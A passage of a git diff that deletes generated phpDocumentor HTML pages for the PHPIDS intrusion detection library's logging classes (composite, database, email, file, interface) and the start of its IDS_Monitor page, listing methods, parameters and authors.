class="method-title">addLogger</span> (line <span class="line-number">84</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Registers a new logging wrapper</p> -<p class="description"><p>Only valid IDS_Log_Interface instances passed to this function will be registered</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - addLogger - </span> - () - </div> - - - - </div> -<a name="methodexecute" id="execute"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">execute</span> (line <span class="line-number">69</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Iterates through registered loggers and executes them</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - execute - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">object</span> - <span class="var-name">$data</span><span class="var-description">: IDS_Report object</span> </li> - </ul> - - - </div> -<a name="methodremoveLogger" id="removeLogger"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">removeLogger</span> (line <span class="line-number">104</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Removes a logger</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">boolean</span> - <span class="method-name"> - removeLogger - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a></span> <span class="var-name">$logger</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">object</span> - <span class="var-name">$logger</span><span class="var-description">: IDS_Log_Interface object</span> </li> - </ul> - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:40 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Database.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Database.html deleted file mode 100755 index 06066f14eb209f83d390aafaed2c708595ddb52c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Database.html +++ /dev/null @@ -1,200 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Log_Database</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Log_Database</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <p class="implements"> - Implements interfaces: - <ul> - <li><a href="../PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a></li> </ul> - </p> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Database logging wrapper</p> -<p class="description"><p>The database wrapper is designed to store reports into an sql database. It implements the singleton pattern and is based in PDO, supporting different database types.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Database.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Log---Database.php.html">/Log/Database.php</a> (line <span class="field">75</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - <div class="method-definition"> - static <span class="method-result">object</span> - <a href="#getInstance" title="details" class="method-name">getInstance</a> - (<span class="var-type">mixed</span> <span class="var-name">$config</span>) - </div> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type">mixed</span> <span class="var-name">$config</span>) - </div> - <div class="method-definition"> - <span class="method-result">boolean</span> - <a href="#execute" title="details" class="method-name">execute</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> <span class="var-name">$data</span>) - </div> - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> -<a name="methodgetInstance" id="getInstance"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method getInstance</span> (line <span class="line-number">212</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns an instance of this class</p> -<p class="description"><p>This method allows the passed argument to be either an instance of IDS_Init or an array.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">object</span> - <span class="method-name"> - getInstance - </span> - (<span class="var-type">mixed</span> <span class="var-name">$config</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$config</span><span class="var-description">: IDS_Init | array</span> </li> - </ul> - - - </div> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">146</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> -<p class="description"><p>Prepares the SQL statement</p></p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type">mixed</span> <span class="var-name">$config</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$config</span><span class="var-description">: IDS_Init instance | array</span> </li> - </ul> - - - </div> -<a name="methodexecute" id="execute"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">execute</span> (line <span class="line-number">246</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Stores given data into the database</p> - <ul class="tags"> - <li><span class="field">throws:</span> Exception if db error occurred</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">boolean</span> - <span class="method-name"> - execute - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">object</span> - <span class="var-name">$data</span><span class="var-description">: IDS_Report instance</span> </li> - </ul> - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Log_Interface.html#methodexecute">IDS_Log_Interface::execute()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:42 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html deleted file mode 100755 index 2a0d9742cb3d19f0356622d3d2c382d636590401..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html +++ /dev/null @@ -1,307 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Log_Email</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Log_Email</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <p class="implements"> - Implements interfaces: - <ul> - <li><a href="../PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a></li> </ul> - </p> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Email logging wrapper</p> -<p class="description"><p>The Email wrapper is designed to send reports via email. It implements the singleton pattern.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Email.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Log---Email.php.html">/Log/Email.php</a> (line <span class="field">52</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - <div class="method-definition"> - static <span class="method-result">object</span> - <a href="#getInstance" title="details" class="method-name">getInstance</a> - (<span class="var-type">mixed</span> <span class="var-name">$config</span>) - </div> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type">mixed</span> <span class="var-name">$config</span>) - </div> - <div class="method-definition"> - <span class="method-result">boolean</span> - <a href="#execute" title="details" class="method-name">execute</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> <span class="var-name">$data</span>) - </div> - <div class="method-definition"> - <span class="method-result">boolean</span> - <a href="#isSpamAttempt" title="details" class="method-name">isSpamAttempt</a> - () - </div> - <div class="method-definition"> - <span class="method-result">string</span> - <a href="#prepareData" title="details" class="method-name">prepareData</a> - (<span class="var-type">mixed</span> <span class="var-name">$data</span>) - </div> - <div class="method-definition"> - <span class="method-result">boolean</span> - <a href="#send" title="details" class="method-name">send</a> - (<span class="var-type">string</span> <span class="var-name">$address</span>, <span class="var-type">string</span> <span class="var-name">$data</span>, <span class="var-type">string</span> <span class="var-name">$headers</span>, [<span class="var-type">string</span> <span class="var-name">$envelope</span> = <span class="var-default">null</span>]) - </div> - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> -<a name="methodgetInstance" id="getInstance"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method getInstance</span> (line <span class="line-number">182</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns an instance of this class</p> -<p class="description"><p>This method allows the passed argument to be either an instance of IDS_Init or an array.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">object</span> - <span class="method-name"> - getInstance - </span> - (<span class="var-type">mixed</span> <span class="var-name">$config</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$config</span><span class="var-description">: IDS_Init | array</span> </li> - </ul> - - - </div> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">146</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type">mixed</span> <span class="var-name">$config</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$config</span><span class="var-description">: IDS_Init instance | array</span> </li> - </ul> - - - </div> -<a name="methodexecute" id="execute"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">execute</span> (line <span class="line-number">316</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Sends the report to registered recipients</p> - <ul class="tags"> - <li><span class="field">throws:</span> Exception if data is no string</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">boolean</span> - <span class="method-name"> - execute - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">object</span> - <span class="var-name">$data</span><span class="var-description">: IDS_Report instance</span> </li> - </ul> - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Log_Interface.html#methodexecute">IDS_Log_Interface::execute()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> -<a name="methodisSpamAttempt" id="isSpamAttempt"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">isSpamAttempt</span> (line <span class="line-number">210</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Detects spam attempts</p> -<p class="description"><p>To avoid mail spam through this logging class this function is used to detect such attempts based on the alert frequency.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - <div class="method-signature"> - <span class="method-result">boolean</span> - <span class="method-name"> - isSpamAttempt - </span> - () - </div> - - - - </div> -<a name="methodprepareData" id="prepareData"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">prepareData</span> (line <span class="line-number">270</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Prepares data</p> -<p class="description"><p>Converts given data into a format that can be read in an email. You might edit this method to your requirements.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - <div class="method-signature"> - <span class="method-result">string</span> - <span class="method-name"> - prepareData - </span> - (<span class="var-type">mixed</span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$data</span><span class="var-description">: the report data</span> </li> - </ul> - - - </div> -<a name="methodsend" id="send"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">send</span> (line <span class="line-number">385</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Sends an email</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - <div class="method-signature"> - <span class="method-result">boolean</span> - <span class="method-name"> - send - </span> - (<span class="var-type">string</span> <span class="var-name">$address</span>, <span class="var-type">string</span> <span class="var-name">$data</span>, <span class="var-type">string</span> <span class="var-name">$headers</span>, [<span class="var-type">string</span> <span class="var-name">$envelope</span> = <span class="var-default">null</span>]) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$address</span><span class="var-description">: email address</span> </li> - <li> - <span class="var-type">string</span> - <span class="var-name">$data</span><span class="var-description">: the report data</span> </li> - <li> - <span class="var-type">string</span> - <span class="var-name">$headers</span><span class="var-description">: the mail headers</span> </li> - <li> - <span class="var-type">string</span> - <span class="var-name">$envelope</span><span class="var-description">: the optional envelope string</span> </li> - </ul> - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:43 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_File.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_File.html deleted file mode 100755 index 6dadc793e36d7693952743c84acc9845cdabe2dd..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_File.html +++ /dev/null @@ -1,234 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Log_File</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Log_File</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <p class="implements"> - Implements interfaces: - <ul> - <li><a href="../PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a></li> </ul> - </p> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">File logging wrapper</p> -<p class="description"><p>The file wrapper is designed to store data into a flatfile. It implements the singleton pattern.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:File.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Log---File.php.html">/Log/File.php</a> (line <span class="field">52</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - <div class="method-definition"> - static <span class="method-result">object</span> - <a href="#getInstance" title="details" class="method-name">getInstance</a> - (<span class="var-type">mixed</span> <span class="var-name">$config</span>) - </div> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type">string</span> <span class="var-name">$logfile</span>) - </div> - <div class="method-definition"> - <span class="method-result">mixed</span> - <a href="#execute" title="details" class="method-name">execute</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> <span class="var-name">$data</span>) - </div> - <div class="method-definition"> - <span class="method-result">string</span> - <a href="#prepareData" title="details" class="method-name">prepareData</a> - (<span class="var-type">mixed</span> <span class="var-name">$data</span>) - </div> - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> -<a name="methodgetInstance" id="getInstance"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method getInstance</span> (line <span class="line-number">110</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns an instance of this class</p> -<p class="description"><p>This method allows the passed argument to be either an instance of IDS_Init or a path to a log file. Due to the singleton pattern only one instance for each file can be initiated.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">object</span> - <span class="method-name"> - getInstance - </span> - (<span class="var-type">mixed</span> <span class="var-name">$config</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$config</span><span class="var-description">: IDS_Init or path to a file</span> </li> - </ul> - - - </div> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">86</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type">string</span> <span class="var-name">$logfile</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$logfile</span><span class="var-description">: path to the log file</span> </li> - </ul> - - - </div> -<a name="methodexecute" id="execute"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">execute</span> (line <span class="line-number">184</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Stores given data into a file</p> - <ul class="tags"> - <li><span class="field">throws:</span> Exception if the logfile isn't writeable</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">mixed</span> - <span class="method-name"> - execute - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">object</span> - <span class="var-name">$data</span><span class="var-description">: IDS_Report</span> </li> - </ul> - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Log_Interface.html#methodexecute">IDS_Log_Interface::execute()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> -<a name="methodprepareData" id="prepareData"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">prepareData</span> (line <span class="line-number">146</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Prepares data</p> -<p class="description"><p>Converts given data into a format that can be stored into a file. You might edit this method to your requirements.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - <div class="method-signature"> - <span class="method-result">string</span> - <span class="method-name"> - prepareData - </span> - (<span class="var-type">mixed</span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$data</span><span class="var-description">: incoming report data</span> </li> - </ul> - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Interface.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Interface.html deleted file mode 100755 index e59fae4381865f6993af621f9ff4155d10244963..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Interface.html +++ /dev/null @@ -1,116 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Log_Interface</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Interface IDS_Log_Interface</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Interface for logging wrappers</p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Interface.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Log---Interface.php.html">/Log/Interface.php</a> (line <span class="field">47</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#execute" title="details" class="method-name">execute</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> <span class="var-name">$data</span>) - </div> - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> - -<a name="methodexecute" id="execute"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">execute</span> (line <span class="line-number">56</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Interface method</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - execute - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> - <span class="var-name">$data</span><span class="var-description">: the report data</span> </li> - </ul> - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Monitor.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Monitor.html deleted file mode 100755 index bde87e0f52c57137df9886c4cdb5ee672cfd0918..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Monitor.html +++ /dev/null @@ -1,538 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Monitor</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Monitor</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - | <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Monitoring engine</p> -<p class="description"><p>This class represents the core of the frameworks attack detection 